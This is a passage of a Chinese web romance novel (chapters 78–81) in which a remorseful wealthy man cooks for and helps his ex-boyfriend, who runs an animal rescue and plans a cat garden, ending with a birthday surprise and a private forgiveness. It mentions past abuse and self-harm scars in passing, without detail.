甄甄并没有把自己送入虎口的意思,他停在贺越邱身前两米远的位置,忽略掉他眼中早已出卖他真实欲望的渴求,冷笑一声:“装得倒是挺好。贺越邱,你要什么没有,何必非得压抑自己的本性,跑来我面前装模作样?我又不是不知道你实际上是个什么样的人,在我面前装,有意思吗,难受吗?” 贺越邱额头都忍出汗水,微弓起身,闻言却诚实又诚恳地回答道:“难受。但如果是为了你压抑本性,那我甘之如饴。” 第78章 第 78 章 好好吃饭。 甄甄微眯着眼, 看向贺越邱的眼神中没有半分信任,他甚至想是不是刺激给的不够,才能让这人不敢轻举妄动, 但要是再多做点什么, 那吃亏的就是他了。 “行吧, 你最好记得自己今天说过的话。” 甄甄收回打量逼问的视线, 往前刚走了两步, 贺越邱便咬着牙根说:“你别过来了。” 离得越近,鼻尖嗅到的那股雏菊香味就越明显,又是这么近的距离,很容易就欺骗过贺越邱的理智, 让他还以为软玉温香在怀。 要是再近点儿, 他怕自己真的会控制不住。 甄甄眼角往下一瞥, 还能不知道这狗东西在想些什么, 有些讽刺地笑了声:“你急什么?我来洗碗,你以为我跟着你进来是为了勾引你?” 他那轻蔑的眼神可真是让贺越邱又爱又恨,浑身都有火在烧似的, 不过在知道他不会再作弄自己后,又不免松了口气, 笑道:“我什么时候让你干过这些家务?你出去吧,这点碗我很快就洗完了。” 甄甄的目光跃过贺越邱,落在他身后堆成小山似的碗碟, 他们四个人吃了不少:“我就怕某些人以后又拿为我做了多少多少事出来说, 搞得好像我故意吊着谁好占便宜似的。” 贺越邱仍旧笑着,眼底却涌上一阵寒意:“想为你做的事当然都是我自愿的,谁要是敢这么嚼舌根,我不介意让他以后都只能做个开不了口的哑巴。” 甄甄撇撇嘴, 显然并未将贺越邱的话放在嘴上,只最后问了一次:“真不需要?” “乖乖出去和你那两位朋友玩吧,这些杂事交给我就好。” “随便。反正我没让你做这些。”甄甄翻了个白眼,要不是怕那俩家伙吃人嘴短,他还不想跟进来呢,洗碗这种又脏又累的活他从来就不想干。 “我说过好多次了,没有人逼我,做这一切都是我心甘情愿的。” 贺越邱始终宠溺地看着甄甄,将他的一举一动、嬉笑怒骂都收入眼底,只觉得无论是什么样的甄甄都可爱得要他命。 甄甄离开厨房后,他强忍着腿间的涨痛和不适把厨房收拾干净,把活儿都干完了心底那疯狂叫嚣着的躁动才勉强平息。 做完这些之后他没有惊动任何人,悄无声息地就从后门离开了。 并非只是讨甄甄同情或是麻痹他的说辞,贺越邱实打实地觉得他已经足够幸福了。在他做过那么多错事后还能再得到一个能够和甄甄离得这么近的机会,这已经是不可思议的奇迹。 他原本早已做好了这辈子都不能够再见到甄甄的准备,一度陷入最绝望最挣扎的绝境之中。而在经历过那样刻骨铭心的疼痛之后,如今任何一点和甄甄相关的反馈都足以令他振奋不已,即使绝大多数时候他得到的都是冷待和质疑,他也时常为此激动不已。 贺越邱也无所谓甄甄如何看待他,只要他不再那么害怕自己,剩下的他还有一辈子的时间可以慢慢证明。 等甄甄把两个醉鬼半哄半拖地弄到屋里安顿好,收到贺越邱发来的消息,他才发现这人已经不知不觉离开了。 并且还多问了一嘴,说觉得救助基地里这么多猫狗只有他和小张两个人在照顾,平时自己的方方面面肯定忙不过来也顾不上,怕他们连饭都不能好好吃,郊区又不好点外卖,申请以后的午饭和晚饭都由他的生活助理送饭来。 甄甄攥着手机,看向屋外无边无际的漆黑深夜,胸口涌上复杂的情绪。 比起强势霸道的贺越邱,这样俯首臣称、伏低做小的贺越邱是他所陌生的,也是他无法招架的,完全不知道该用何种态度和方式才能逼退对方。 甄甄烦恼地叹了口气,如往常一样没有回复任何信息,也打算不再去想这件事。 贺越邱自然而然地当做默认,高兴得差点没睡着,马上就给可怜的助理安排了一项新的工作。 他动作迅速,第二天中午,小张和甄甄刚从猫宿舍回来,小张正要去做饭,生活助理就开着车苦哈哈地送饭上门来了。 小张先是一愣,听明来意后下意识地扭头看了眼站在自己身旁、面无表情的甄甄,对这两人的分手原因顿时多了八百个脑补剧情。 甄甄接受也不是,不接受也不是,他觉得贺越邱的行为也太阴险了,完全设身处地的从实际出发,精准吃透他和小张、尤其是小张的痛点,再迭代更新打法,抛弃过往的路径依赖,通过整合生活助理这个新渠道,打出了一套更为有效的组合拳。 说人话就是,这狗东西越来越阴险了!他清楚地知道自己和小张确实忙不过来,不仅帮忙帮到点子上,还没有亲自来当这个讨人嫌的狗皮膏药,而是让可怜的牛马打工人来跑这一趟。贺越邱肯定清楚,自己就算再不待见他,也不会为难生活助理的! 而且…… 甄甄余光瞥到眼巴巴盯着食盒流口水的小张,他们每天忙得脚不沾地,也确实没有太多时间解决温饱问题。 小张也很有边界感,他早就通过蛛丝马迹猜到这两人分手十之八九是因为贺越邱对不起甄甄,所以哪怕贺越邱经常跑到这儿献殷勤,他也没对这些事发表过任何看法。至于现在这种情况,他就更是不会替甄甄拿主意。 助理也不多话,只把必须要做的事和必须要说的话带到,其他时候都安静得仿佛一个天生的哑巴。 甄甄深吸口气—— 接受!他凭什么不接受!贺越邱这狗东西本来就欠他的该他的,现在不过是做几次饭而已,他自己都说过是自愿,那他又为什么要受之有愧? 他要这么乐意当牛做马,那就看看他能坚持多久吧! 甄甄下巴一扬,不仅命令助理把饭菜都摆上餐桌,还要点菜:“晚上我要吃澳龙!让你老板亲自做!” 助理眼前一亮,他本来都做好铩羽而归被无良老板狠骂一顿的准备了,闻言非常狗腿地把菜碟一样样拿出来,边摆盘边说:“中午也是贺总亲自下厨做的,他说外面的都不干净,希望您能吃好一点。” 其实不用他说,光看菜色,甄甄也能看得出这是谁的手艺。 小张兴奋地看着满满一桌的美食,正食指大动,就听见甄甄中气十足地喊到他:“你要吃什么?点菜!最好把贺氏吃垮!” “鲍鱼行不行?” “行!” “那我还要吃小鸡炖蘑菇!” “让他做!” “太棒了!分手万岁!” 生活助理就这么下岗再就业,变成了专职给甄甄送餐的外卖小哥,还是私人订制专送。 甄甄好像要故意折腾贺越邱似的,哪怕自己根本不想吃,也会报一堆菜名让助理带话回去。他本来以为自己这么多事,比如麻婆豆腐不要豆腐、夫妻肺片不要肺片之类令人抓狂的要求一定会让贺越邱要不了多久就知难而退。可他没想到的是,这每天两次的送餐居然从四月一直坚持到五月,眼看着就要从初春到入夏了,贺越邱居然仍旧耐心十足,无论他提出多过分的要求,都会尽量满足,就算偶尔因为出差、工作等原因有那么几次不能亲自下厨,也会请来有口皆碑的名厨替手,等忙完之后还会提前报备亲自去救助基地帮忙干活和下厨,而以他的身份请来的厨师手艺只会更好不会更差—— 这一点,只要看像气球一样迅速从o变成O的小张就知道了。 甚至就连厌食症一度加重过的甄甄,也因为自己点很多菜又不舍得浪费,小张一个人也实在吃不完,不得不硬着头皮多吃了一些,身上和脸上都长了一点肉。 虽然体重还是偏轻,可只要以前见过他的人就都能看出区别,仍旧清瘦,但气色好了不少。 对于这种变化最高兴的当然是贺越邱了,他专门派自己的生活助理去送餐可不是闲着没事干,早就叮嘱过必须以对待公司股票涨跌还严肃的心态去对待甄甄的体重起伏,哪怕只是轻了一两或者重了一两,都必须马上告诉他。 如今知道甄甄终于肯好好吃饭了,甚至还长了一些肉,他何止是激动,连眼眶都红了。 看着欣慰得不知如何是好的老板,助理面无表情,内心直骂神经,哪有人当牛做马还做出成就感的? 不需要操心一日三餐后,甄甄更是一门心思全都扑在了自媒体和救助基地上,他和小张又陆陆续续收留了很多流浪猫狗,乃至一些被丢弃的异宠。 他听取粉丝意见,克服了一些心理障碍,在日常vlog里加入了日记般的叙述,把和宠物们的一日相处娓娓道来。不知不觉间,这个账号已经突破了百万粉丝,比起一些动辄一夜爆火的网红、甚至是之前他自己的颜值账号,涨粉速度似乎不快,可这是完全脱水的数据,他的粉丝活跃度高得吓人,而且绝大多数都是有着高消费力的女粉。 广告邀约纷至沓来,一些以前从没有过交际的同赛道萌宠博主也开始频繁留评互动,甄甄的新事业蒸蒸日上。 第79章 第 79 章 甄甄的新想法。 一晃五月。 哪怕京城暖得比南方晚些, 这种时候也早已经绿树成荫郁郁葱葱了。城郊感受到的这份生机比钢筋水泥的城市要更明显一些,甄甄去救助基地喂完粮回来,找小张说:“我这两天详细统计了一下这里的猫, 一共有324只;狗有25只。狗不好领养, 绝育后用来看家护院就行了, 但得想个办法把能领养出去的猫都给领养出去。” 小张整理着下午准备给新来的一批小猫接种的疫苗, 闻言面带苦色:“大多是些田园猫……恐怕不好领养。” “其实我有个想法, 咱们这儿空地挺多的,交通也方便,要是划出来一部分做成猫咪花园这种类型的打卡景点,我再用自己的账号宣传一下, 愿意来玩的人应该挺多的。”甄甄好像知道小张想说什么, 接着道:“当然了, 我不会把没有社会化过的小猫小狗放出来接客的, 挑几只长相可爱、性格温顺的小猫上岗,等招牌打出去,就可以定期举办领养活动。” 他眨眨眼, 笑得有点坏:“光靠网上发几张图片和视频,没有看见实物, 大家是不会在它们身上投放多少感情的。但线下真的见过摸过,亲密接触过后,效果可就完全不一样了。而且这样也有利于我们筛选领养人。” “倒确实是个好主意, 不然这么多账嘴巴光靠我们两个怎么都顾不过来。但你想打造这种线下的休闲项目可不容易, 有现成的地皮,做美化倒是要不了太多投资,光是批建的这一道道手续就够你头疼的了,更别说开张后的经营啊投流啊……我光想想脑袋都大了!” “你说的也对, 都是我需要考虑的实际问题。不过这个想法也是我经过深思熟虑的,否则我当初就不会花功夫搬过来了。甭管它能不能成,我还是想尽量尝试一下,我总觉得做自媒体除了赚钱以外总要利用自己的影响力再多做些什么,不然总感觉有所亏欠似的。” 小张见甄甄已经拿定了主意,也知道他是个看起来好说话、实则特别有主见的人,就没有再多劝。 他拍拍甄甄肩膀,鼓励道:“我相信你,我帮你一起弄,这样到时候我还算股东呢!” 甄甄一笑,眼中光华流转:“好。” 助理小王刚好卡着饭店来了,不用谁招呼,轻车熟路地就开始摆碗盛饭,从他开始送饭的第二天,甄甄看他一天两趟地跑来跑去都替他累得慌,直接喊他和他们一起吃。 小王感动得泪流满面,在心里一边疯狂祈求老板和老板娘快和好吧不要再折腾他一个无辜打工人了,一边又希望贺越邱这个黑心资本家最好一辈子都追不回心上人,让他狠狠地吃个苦头。 他和甄甄、小张吃完饭后就拎着空饭盒回了贺氏总部,苦哈哈地给老板报备老板娘今天又吃了多少颗米、夹了几筷子菜,是吃菜多还是吃肉多、喜欢清汤还是养生汤。 小王偷看一眼端坐上首的贺越邱一眼,对方仿佛在听各部门主管汇报季度报表一般严肃认真,时而皱眉时而舒展,忍不住在心里偷偷翻了个白眼。 “还有没有其他问题?” “老板娘好像说想投资开一家宠物主题的户外花园。”饭桌上,甄甄也向小王提起过这档子事,他毕竟在贺氏高层干了这么多年,也算大企业高管,能给出的有用建议不少。 “甄甄要创业?”贺越邱眉毛一挑,心里已经在盘算该怎么帮他赚钱了,面上倒是还维持着冷静的表情。 “听他语气是这么说,他那个地方有地铁也有公交,交通挺方便的,如果能够作为特色景点打造,确实能够吸引很多京城周边的年轻群体。” “你自己主动点,别总等人家来问。去吧。” “是。贺总。” 要不是想在下属面前保持一定的形象,贺越邱现在早就扔下公司去替甄甄出谋划策了。但他忍也没怎么忍得住,挥手让小王离开后,马上就打了几个电话,就京郊那块地可能会有的商业行为,提前给相关单位的朋友打了声招呼,免得之后甄甄去报材料的时候多走弯路。 挂完电话后他还是觉得不够,心里鼓涨涨的,跳得也快,怎么都安静不下来。 惊讶,意外,在一起四年,分开又一年,认识甄甄这么久以来,贺越邱从未想到过他居然还有这样一份锐意进取的野心。 或许用野心来形容并不恰当,但贺越邱打从心底觉得现在的甄甄既熟悉又陌生,从一个被自己全盘接受照顾的小宝宝飞快长大,他都快要不认识他了。 这样的变化让他有一种本能的超出掌控范围的恐慌,不过更多的是欣赏和喜欢。哪怕甄甄的想法在他看来还非常幼稚、非常理想化,出发点也显得过分可爱了,然而这种想法带给他的震惊无异于原以为的金丝雀竟是座山雕的反差。 贺越邱坐不住了,他想立刻见到甄甄。 于是下午正准备出门去基地的空地上量尺寸的甄甄迎面就撞上了贺越邱,下意识地皱起眉头:“你公司不忙?总往我这里跑什么?这儿没金子给你挖。” 有,怎么没有,我面前就有这么大一块金疙瘩。 但这话贺越邱不敢说出来,怕真心话又让甄甄给定性成花言巧语,他索性直说了花园那事儿。 “我觉得你应该会很缺人手,要不要试试我?免费的,什么都能干,保证听话。” 甄甄打量着贺越邱,眼里的嫌弃溢于言表:“你不觉得一个宠物过敏的人要来帮我打造宠物花园是件很幽默的事吗?” 贺越邱眼也不眨,似乎早就忘了因为过敏而数次徘徊在生死边缘:“我可以吃药。” “过敏药没副作用?” “你在担心我吗?” “我怕花园还没开张你就死了,晦气。” “我向你保证,就算死也绝对死外头,绝对不给你添一丁半点麻烦。” 小张刚好拎着工具箱出来,他最近长胖了一点,一干体力活就直叫唤,闻言撺掇甄甄:“你看贺总那肱二头肌,那人高马大的身材,是把下力的好手,你就把他当牲口用呗,反正你也不心疼他。” 甄甄瞥一眼积极自荐的贺越邱,很不耐烦地收回视线,勉强点头同意。 小张高兴地欢呼一声,立刻把沉甸甸的工具箱塞贺越邱手里,一身轻地走在甄甄身后。 贺越邱拎着二三十斤重的东西,仿若无物般,紧紧地跟在甄甄身边。 走了没几步就到地方,他把工具箱放平,从里面找出水平仪等测量工具,按甄甄的要求反复调整找线,几个人忙活半个下午,才算是定下来地方。 一共二十亩地,在猫狗宿舍的前面,旁边有条山上引下来的水渠,这会儿正是长草的时候,就甄甄和小张两个人,打理不过来,野草都有小腿深了。 但地面很平整,周围也没什么房屋遮挡,很适合用来打造野草地和花园。就光看那野草的旺盛程度,用来移栽花卉也能长得很好。 把地定下来只不过是最简单的一步,贺越邱告诉甄甄,他还得写各种计划书,做预算,出花园设计图,找相关部门申报材料、办手续,这些前期准备工作都做完,找施工队,把效果实际落地,引流推广…… 甄甄提前做过功课知道自己要做什么是一回事,但听贺越邱又说一遍是另一回事,他只觉得自己脑子都快炸了,恨不得当自己从来没有过这种想法。 而且按他一开始的打算,这个项目就是从公益性质出发的,所以他甚至没指望过能靠这玩意儿赚钱。 “又不挣钱又麻烦,真不知道图什么。”甄甄小声嘟囔道。 “你要不想那么操劳,都甩给我干呗。”贺越邱经手的项目都是上亿级别的,他做这些,纯粹抱着一种陪老婆玩过家家的心态。 “少看不起人,我只是从来没做过,不是做不到。” “我相信你能做得很好。” 甄甄不理他,扭头继续拍视频。 他已经想好了要怎么给这个还没开工的花园引流,他手里握着流量那么好的账号,没理由不利用起来。 以打造宠物花园为主题再开一个栏目,不仅可以给粉丝换新口味,还能从头开始积攒花园的名气,等建成之后他的视频该吸引到的流量也早就吸引到了。 虽然还没有到夏天,但下午顶着太阳在草地里走来走去,三个人都热出一头汗,没多久就把外套都脱掉扔围墙上了。 甄甄皮肤白,对紫外线更敏感一些,晒得脸蛋红红的,眼睛又总是那么明亮,在蓝澄澄的天空下像绿意盎然正抽条的小树一样透出生命力。 贺越邱总盯着他看,一看就容易出神,都忘记自己手臂也被这太阳晒得发疼。 贺越邱肤色深,晒急了也看不出,但他看甄甄晒成这样又喜欢又心疼,去厨房拿了些冰块过来,趁甄甄坐在猫宿舍里躲阴的时候抓起几块放到他手里。 冒着寒气的冰块一碰到皮肤,甄甄就打了个寒颤,随之是一阵凉爽。他抓着冰,体温融化的水顺着指缝不住滴在地面,干燥的水泥地面很快就濡出一大片深色痕迹。 柯基屁颠屁颠地过来,舔着地上的水。 贺越邱盯着那一滴滴快连成线的冰水,喉结上下滚动,被太阳晒得口干舌燥。 小张擦着汗走过来,他皮肤也黑,一晒就黑红黑红的,笑起来透着一种憨厚和淳朴:“我也要冰。” 贺越邱回过神,把盆里剩的几块塞进嘴里,冻得冰牙:“没了。” 小张:“……” 纯粹就是双标!—— 作者有话说:插画上架啦[星星眼] 第80章 第 80 章 生日快乐。 三个人忙到太阳快落山, 甄甄和小张还得拖着疲累的身体去给基地里的小猫小狗喂粮,贺越邱则自觉系上围裙下厨,做了满满一桌美食。 饭桌上, 贺越邱甄甄累得话都不想多说, 当下没有自作多情地说些什么, 但没过几天就带来了让集团旗下的子公司工厂赶制了一套自动喂食器设备来。 这玩意虽然不能完全替代人工, 但忙得不可开交时, 也能用它稍微顶一下。 打造猫咪花园的新主题视频更新后,粉丝们反响很热烈,纷纷留言希望能够尽早开园,他们都想来看看这些云养了几个月的小家伙, 同时也对甄甄这个尽心尽力的救助人充满好感, 打趣说如果园长能够化身猫耳男仆就更好了。 贺越邱特关了这个账号, 当然也看到这些热评了, 一瞬间就回想起去年甄甄生日时他收到的那份终生难忘的“礼物”,虽然不是猫耳,但那乖巧地、予取予求地小狗模样…… 贺越邱沉浸在美好的回忆中, 可渐渐地,心脏便一抽一抽地疼痛起来, 控制不住地想起这一夜之后发生的那些事。 浑身的燥热在一瞬间仿佛被冷水浇透,他放下锅铲,把火关了, 心口痛得没办法正常走路, 扶着墙壁仅仅挪出了厨房,便顺着墙壁滑坐瘫倒在地上。 自从被允许重新靠近甄甄之后,贺越邱就很少再回忆起那些痛苦的过去,但已经发生过的事谁也没办法像翻一本书那样就这么随意地翻过去。 以前贺越邱没有丁点希望, 几乎就要认命了。现在他又重新看到了那么一丁点希望,但也就是这点希望,让他比任何时候都清楚地意识到,无论以后他和甄甄之间的关系会发展成什么样,过去的那些痛苦和歉疚都将折磨他一辈子,并不会因为原谅,因为重归于好,因为……不管因为什么,他都得不到解脱了。 贺越邱扯动嘴角,疼得满是冷汗的脸上浮现出一个自嘲的笑容。缓过这一阵后他重新站起来,去厨房把饭菜做好,让助理送给甄甄。 然后他洗了个澡,把浑身的油烟气味都洗掉,找到开纹身店的朋友,在小腹纹下甄甄的名字。 “这笔画也太多了,打个麻药吧?” “不用。” “哟,合着你不是肉体凡胎?还是痛觉缺失?” 当然都不是了。 针尖刺破皮肤,带来绵延不绝的尖锐痛感,又是小腹这样神经末梢多、不经疼的地方,这种痛感被放大了十倍不止。 贺越邱忍得满头是汗,却没吭一声。 他想刚过生日一晚就得知那样真相,赶回来又被自己暴力性/虐的甄甄,那时一定比自己现在痛多了。他无论主动感受再多的疼痛,都比不上他那时的一丝一毫,也偿还不了分文。 朋友在纹身的时候不可避免地看到了贺越邱腰上、腿上等处的疤痕,有的都只剩一层淡淡的肉粉色了,有的却还冒着新鲜的血珠,且伤口平整,一看就是拿刀片之类的利刃划的,简直触目惊心。 其他地方他没看见,但按这种密集的分布程度,恐怕也不会太少。 贺越邱不愿意,没人能主动伤害他,所以这些疤痕的来历几乎不用多想。 朋友有听说过他和相恋多年的男友分手了,刚开始消沉了一阵,后来很快恢复正常回去上班。他那时还想这么看来贺大公子这情圣的标签贴得也不怎么牢靠,哪怕再怎么喜欢,分手后不也就各奔前程? 但在他看到过这些疤痕,又知道他纹的名字是谁后,他嘴上没漏半句,心里却默默地把自己的想法给推翻了。 情不情圣的他不知道,就知道这人私底下绝没明面上表现出来的那么冷静,能在自己身上划那么多刀,“疯子”是毋庸置疑了。 因为只是纹字,不需要另外设计图案,也用不上多少技术,贺越邱的纹身没要多久就完成了,朋友按惯例嘱咐了他很多注意事项,看他那副满不在意的模样,也不知道到底都听进去多少。 每走一步腹部就火辣辣地疼,贺越邱脸上却流露出满足的笑容。他给自己打上了独属于甄甄的标记,从此以后他就是只属于甄甄的东西了。 贺越邱没怎么修养,就睡了一觉,第二天便陪甄甄去相关部门跑手续。因为提前打过招呼,加上他又亲自来了,流程推进得很顺利,很丝滑地就拿到了需要用到的各项证明。 等文件下来这几天甄甄也没闲着,在贺越邱的帮助下找了一家口碑不错的设计公司,把自己的想法一一说明,拿到了一份很满意的花园设计图。 接着就要找施工队,购入花卉…… 甄甄从来没接触过这些东西,但他又是当之无愧的老板,什么事都得亲力亲为,不会的就要现学现用,忙起来恨不得一个人当当两个人用。都还没正式开工造园,才刚开了个头,不知不觉间,就已经到了五月下旬。 深夜,甄甄才披着月光从外面回来,刚一打开院门,白炽灯便如白昼般亮起,一个小狗形状的蛋糕插着23根蜡烛吸引了他的全部视线。 他一愣,小张、戴维、阿曼达,甚至是方寸行都从屋里走了出来,空旷的院子里瞬间挤满了人。 柯基甩着肥屁股,叼着象征寿星的小皇冠屁颠屁颠地跑到他面前,小张弯腰拿起皇冠,戴到他头上,笑眯眯地说:“生日快乐。” 戴维和阿曼达一人一边,手持礼花筒,“嘭”地一声,彩带纷飞。 “祝甄甄bb生日快乐~” “生日快乐,甄甄。芳姐她们这几天都有拍摄任务赶不过来,拖我把祝福一起带到。” 方寸行从身后拿出生日礼物,放到甄甄手里,轻声道:“生日快乐。” 直到被戴维拉着去吹蜡烛许愿,像个石雕般的青年才缓缓回过神,有些不知所措地环顾一周,视线中的烛光渐渐摇曳着拉出模糊的光芒。 甄甄眨动着眼睛,琥珀般的瞳孔被氤氲的水雾笼罩,让他看不清面前的一张张脸,连同那些祝福声也模糊到一块儿,似乎一切都没了边际。 “要不是你们给我这份惊喜,我都快忘记今天是520了……” 他这些天忙得觉都没怎么好好睡过,更别提还记得生日这档子事。 小张其实也不知道,他张嘴就想说是贺总准备的,被戴维扯了扯衣角,赶紧把话咽下去,只说:“快许愿。过生日就要开开心心的,别想那么多。” 甄甄连连点头,闭上眼睛,双手合十放在胸前,认认真真地许了好久的愿望。 没有人催促他,等他睁眼吹灭蜡烛,才爆发出欢呼声。戴维立刻挤过来帮他切蛋糕,阿曼达和小张则去厨房端菜。 甄甄切完自己的那份后,又按在场人数均匀地切了六份,戴维挨个分完,连地上的柯基都递了一份过去,但还有一份多出来。 戴维下意识地说:“多了一份。” 甄甄一怔,余光扫过身旁的方寸行,再往旁边看,就没有人了。 这些天贺越邱总是来帮忙,他都习惯了还有个人的存在,今天乍一不见,还没反应过来。 他还没来得及多想,戴维指头上粘了一点奶油,往他脸上一抹:“走个仪式!这可不算浪费粮食哦~” 甄甄回过神,很快就忽略了那点微末的不适应,并没有生气戴维的突然偷袭,只是刮了一点切蛋糕刀上的奶油,手就往空中那么一伸:“自己过来,嗯?” 戴维哪敢躲,把左脸送上去,被抹了个大花脸还在那儿一个劲地夸抹得好,他脸都白了几度,这下更帅了。 甄甄单手叉腰,大反派般笑起来,可可爱爱的小狗耳扭曲成恶魔尖角,戴维大呼甄甄大王饶命。 方寸行居然也往他这边走了几步,那意思很明显。 甄甄恩赐般在他鼻梁上抹了两下。 方寸行也配合道:“大王万岁。” 甄甄举起一根手指,理所当然地说:“当然了,我还能再过9977个生日!” 小张端着饭桶出来:“那么寿星大王今晚打算吃几碗饭?” 甄甄的耳朵瞬间耷拉下去,飞快地吃掉一小口奶油:“看!我已经吃饱了!” “看到胖胖鄙视的眼神了吗?” “胖胖才不会鄙视我!” “汪汪!” 院门关不住满院的欢声笑语,贺越邱坐在外面,夜风一阵阵吹过,带来草地里泥土的芬芳,也同时带来甄甄清脆欢脱的笑声。 他坐的地方仅有一些墙上溢出来的昏黄光晕,除了他自己之外,也就只剩草丛里昆虫窸窣的叫声。 欢聚的夜晚,唯独他一个人孤独。 贺越邱捂住微微作痛的心脏,等这一阵疼痛过去后,浑身紧绷的肌肉才放松了些。 他抬头望着天边那轮月亮,眼神中流露出淡淡的难过和受伤,但更多的是一种轻松。只要一想到没有自己的存在,甄甄可以过一个更加纯粹快乐的生日,那种唯独自己不能参与的嫉妒和愤恨就自然而然地消散了。 他听到里面在唱生日歌,也在心里跟着唱。 歌唱完后,轻轻开口:“甄甄,生日快乐。” 愿你从今往后再无苦痛,唯余安愉。《 》 80-90 第81章 第 81 章 一笔两清。 贺越邱守到后半夜, 直到院子里的声音没了很久之后,才敢推门而入。 他第一时间就是去看石桌上的蛋糕,虽然不能陪甄甄一起过生日, 但他想着能吃上一口甄甄的生日蛋糕也总是好的, 总能欺骗自己。 他现在想要的、能要的、敢要的, 其实不多。 目光落在空无一物的桌面上, 既在意料之中, 也难免涌上些失落。 纹身的痛,心脏的痛,身体上的,灵魂上的, 像酒和水交融在一起, 已经分不清了, 只知道一口喝下去, 那股劣质的灼烧感会从咽喉一路蔓延到胃部,疼得人无法抵抗。 贺越邱有一瞬间的头晕眼花,他扶着桌子坐下, 鼻尖似乎还能闻到残留的蛋糕味道,香甜的奶油味里掺杂着清新秀气的小雏菊香味, 恍惚间他面前好像出现了甄甄和朋友们一起庆祝生日的画面。 他仿佛亲眼看到甄甄吃下一大口蛋糕,又用手指揩掉嘴角的奶油,虽然因为生病厌恶进食, 却从小就养成了一点也不浪费的好习惯。 贺越邱不自觉地牵动起嘴角, 由衷笑了。 他又坐了会儿,胸口泛起针扎似的痛楚。他按按心口,起身正准备离开,却被身后一道声音叫住:“你刚刚不在, 这会儿跑过来,又一声不吭要走,你脑子里到底在想什么?” 贺越邱立刻停住脚步,很想把身体转过去,可一想到也许对方一看见自己这张脸就会被勾起不好的记忆,又不得不强压下这股渴望。 他只能通过地上的影子,看到甄甄正一步步向自己走过来,手上还托着什么东西。 “你怎么连看我一眼都不敢?难道你又做了什么亏心事?” “……没有。”半晌,贺越邱才沙哑地开口。 “没有那你怎么不敢转过来?” “今天是你生日,我不想惹你不开心。” “你还挺看得起自己。” 甄甄一句看似自傲的话,反而让贺越邱心底无形的桎梏从里向外被打破了,他忽然笑起来:“我确实是庸人自扰了。” “我虽然不怎么待见你,但也不至于在生日还要跟你吹鼻子瞪眼。”甄甄不屑地哼了声,让贺越邱转过来,把左手端的盘子递给他,“接稳点,这是最后一份蛋糕。” 贺越邱眼神中爆发出巨大的惊喜,有些不可置信地看着甄甄手里属于小狗屁股那部分的蛋糕。 贺越邱受宠若惊,小心翼翼地问:“是你专门留给我的?” “吃不下剩的而已,谁专门给你留了。”甄甄表情有些恼怒,见贺越邱只顾着激动,半天没伸手来接,气得把盘子往桌上一放,“随便你吃不吃,反正剩的到时候都喂给胖胖。” “喂给狗多浪费?给我吃,多少我都能吃得下。” 贺越邱连忙端起来,叉起一块放进嘴里,甜而不腻含着橘子香气的奶油瞬间融化,让他回忆起和甄甄接吻时的味道,也是这样带着柑橘似的清新,又甜到骨子里。 “看你那德性。”甄甄嫌弃道。 “正在改,什么时候改造成功你说了算。” “你现在脾气倒是好,就是不知道能装多久。” 贺越邱看入那双湿润的眼眸,珍重道:“我可以装一辈子。” 甄甄浑身抖了抖,摸着自己胳膊:“得了,少说点这种肉麻话,鸡皮疙瘩掉一地。” “吃完你自己回去,别杵在我家院门当门神,吓得胖胖都不敢出去撒尿了。” 被赶走,贺越邱也不生气,低低地“嗯”一声,那副低眉顺眼任打任骂的样子倒是激起了甄甄的负罪感,小小地怀疑了一下自己把做蛋糕和准备生日宴的“功臣”就这么无情地赶走是不是太坏了。 ——就算小张等人都默契地闭口不言,他一尝蛋糕和那些菜肴的味道,不用说也知道是谁做的了。 回想起这大半年贺越邱是怎么给自己当牛做马的,甄甄忍不住抬头看了眼已经快走到院门的男人,挺得笔直的背影依旧高大伟岸,只是不知道为什么,他总觉得那条隐没在月光里的长长影子孤零零的透着种可怜。 ……疯了吧? 他怎么会觉得一个有权有势、家财万贯的人可怜? 贺越邱缺什么?钱,权,学历,相貌,身高,圈子,甚至是爱好,他哪样都不缺。这么一个含着金汤匙出身的人,他这辈子最想要却得不到的无非是亲情,或许也能再加上自己,加上爱情。 爱情…… 真他妈可笑。甄甄忍不住在心里骂了一句脏话。 也就只有这些什么都有的人,才有闲情逸致去追求那些虚无缥缈的感情。像自己这样的人,不——甄甄从来不觉得他是底层人,他光是这张脸就已经算是抽中了彩票——多得是比他活得更不容易的人。而这些人,别说天天琢磨情啊爱的,只是生活就已经足够困难了。 他如果可怜,也应该可怜他们。 他硬生生咽下就在嘴边的“贺越邱”三个字,紧紧握住拳头,目送着贺越邱渐渐消失在自己的视线中。 掌心处传来尖锐的疼痛,甄甄没有低头去看。他的目光从一开始的犹豫和心软转变为嘲讽和漠然,他告诉自己,不要去可怜一个曾经伤害过自己的人,否则就是在纵容始作俑者当初对自己的伤害。 他绝对,绝对不能成为协同他人伤害自己的帮凶。 甄甄狠下心,转身回屋,走上二楼,把灯也关了。他躺在床上,盯着漆黑的天花板,一时情绪翻滚,根本睡不着。 他不想做伤害自己的帮凶,可是也不愿意沦为憎恨的奴隶,随着日子一天一天的翻页,那时遭受过的伤痛其实已经变得很模糊,他再想起来的时候,连疼痛都不再尖锐了,而是化作流水般,隐隐约约地泛起阵阵涟漪。 即便贺越邱就在自己面前,也不再像刚开始一看见他就会失控,顶多那些涟漪会更扩大一点,一圈又一圈的荡开。 他早就下定决心把过去留在过去,他不会做一个永远都自怜自艾、充斥着怨恨的人。贺越邱……贺越邱…… “我原谅你了。”甄甄闭上眼睛,一滴眼泪从紧闭的眼尾溢出来,顺着细腻的皮肤流入耳发。 他的声音略带些哽咽,在黑暗中喃喃自语道:“不恨你了,也不想再喜欢你……你欠我的,就从今天为止,一笔两清。” 贺越邱开着车,胸口忽然一痛,连车都在一瞬间失去了掌控,左右摇摆着撞上马路栏杆。 他一头磕上方向盘,额头迅速肿起,剧烈地痛感却压不下他心底的慌乱,他也不知道自己为什么会突然有这样的感觉,但这种心慌就好像他失去了最重要的东西,迅速就蔓延到全身,连手脚都变得瘫软无力。 上一次出这种小车祸,还是…… 贺越邱越想越头痛,捂着额头从另一边下车,刚站定就看到交警指挥着交通往这边跑过来。他忍着眩晕和疼痛做了简单笔录,等头痛和心里那股慌乱没那么严重后,才重新回到车上,开回甄甄搬到郊区之前住的地方。 他对宠物过敏,这栋独院找清洁团队处理了半个多月,又放了一段时间,才算把之前养过猫狗的味道祛干净。 他搬到这里后,已经住了快两个月。 配套设施落后,出行没那么方便,通勤时间也会更长,房子一个人够住但绝对比那套高档小区的大平层小……缺点有很多,可只需要有一个优点就足够了,甄甄住过这里,他喜欢这栋小院。 